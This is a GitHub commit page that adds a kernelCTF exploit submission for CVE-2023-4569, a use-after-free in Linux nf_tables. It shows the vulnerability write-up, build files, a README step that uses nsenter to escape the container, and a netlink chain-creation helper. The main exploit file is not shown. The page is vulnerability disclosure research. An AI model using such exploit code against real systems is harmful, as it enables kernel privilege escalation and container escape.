Skip to content

Commit

Permalink
Add kernelCTF CVE-2023-4569_lts (#87)
Browse files Browse the repository at this point in the history
* Add kernelctf CVE-2023-4569_lts

* change rop

* Add some infomation about the fix

* Add some infomation about the fix

* Add some infomation about the fix

* Add more details in exploit.md

* Add more details in exploit.md and exploit.c

* Add more details in exploit.md and exploit.c

* Add more details in exploit.md and exploit.c

* Add more details in exploit.md and exploit.c

* Fix some problems

* Fix some problems

* Add more details in exploit.md

---------

Co-authored-by: lonial con <[email protected]>
  • Loading branch information
conlonialC and conlonial authored Jun 18, 2024
1 parent 0ccccf6 commit 4e5327e
Show file tree
Hide file tree
Showing 15 changed files with 1,878 additions and 0 deletions.
454 changes: 454 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md

Large diffs are not rendered by default.

37 changes: 37 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-4569_lts/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# Vulneribility
In function nft_map_catchall_deactivate, it checks if an elem in set->catchall_list can be deactivated by this:

```
if (!nft_set_elem_active(ext, genmask))
continue;
```
but it should check like code in function `nft_set_catchall_flush`:
```
if (!nft_set_elem_active(ext, genmask) ||
nft_set_elem_mark_busy(ext))
continue;
```
This makes it possible to call `nft_setelem_data_deactivate` twice for a elem in `set->catchall_list`.

I submitted the suggestion to [email protected], but at that time, the `nft_set_elem_mark_busy` function had been removed in the latest kernel version. So the developers chose the fix in this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=90e5b3462efa37b8bba82d7c4e63683856e188af). Both methods can fix this vulnerability.

## Requirements to trigger the vulnerability
- Capabilities: `CAP_NET_ADMIN` capability is required.
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit a7384f3918756c193e3fcd7e3111fc4bd3686013](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nf_tables_api.c?id=a7384f3918756c193e3fcd7e3111fc4bd3686013)

## Commit which fixed the vulnerability
- [commit 90e5b3462efa37b8bba82d7c4e63683856e188af](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=90e5b3462efa37b8bba82d7c4e63683856e188af)

## Affected kernel versions
- 6.1.36 - 6.1.45

## Affected component, subsystem
- net/netfilter (nf_tables)

## Cause
- UAF

Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
exploit:
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
prerequisites:
sudo apt-get install libnl-nf-3-dev
run:
./exploit

clean:
rm exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf LTS 6.1.36
Run command "nsenter --target 1 -m -p" after run the poc.
56 changes: 56 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-4569_lts/exploit/lts-6.1.36/chain.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
void new_chain(struct nl_sock * socket, char *table_name, char *chain_name){
struct nl_msg * msg = nlmsg_alloc();
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
struct nlmsghdr *hdr1 = nlmsg_put(
msg,
NL_AUTO_PORT, // auto assign current pid
NL_AUTO_SEQ, // begin wit seq number 0
NFNL_MSG_BATCH_BEGIN, // TYPE
sizeof(struct nfgenmsg),
NLM_F_REQUEST //NLM_F_ECHO
);
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
h->nfgen_family = 2;//NFPROTO_IPV4;
h->version = 0;
h->res_id = NFNL_SUBSYS_NFTABLES;
memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));

struct nl_msg * msg2 = nlmsg_alloc();
struct nlmsghdr *hdr2 = nlmsg_put(
msg2,
NL_AUTO_PORT, // auto assign current pid
NL_AUTO_SEQ, // begin wit seq number 0
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
sizeof(struct nfgenmsg),
NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO
);
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
h2->nfgen_family = 2;//NFPROTO_IPV4;
h2->version = 0;
h2->res_id = NFNL_SUBSYS_NFTABLES;
memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
struct nl_msg * msg3 = nlmsg_alloc();
struct nlmsghdr *hdr3 = nlmsg_put(
msg3,
NL_AUTO_PORT, // auto assign current pid
NL_AUTO_SEQ, // begin wit seq number 0
NFNL_MSG_BATCH_END,// TYPE
sizeof(struct nfgenmsg),
NLM_F_REQUEST //NLM_F_ECHO
);
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
char *buf = malloc(total_size);
memset(buf,0,total_size);
memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
int res = nl_sendto(socket, buf, total_size);
nlmsg_free(msg);
if (res < 0) {
fprintf(stderr, "sending message failed\n");
} else {
printf("Create chain %s\n",chain_name);
}
}
Binary file not shown.
Loading

0 comments on commit 4e5327e

Please sign in to comment.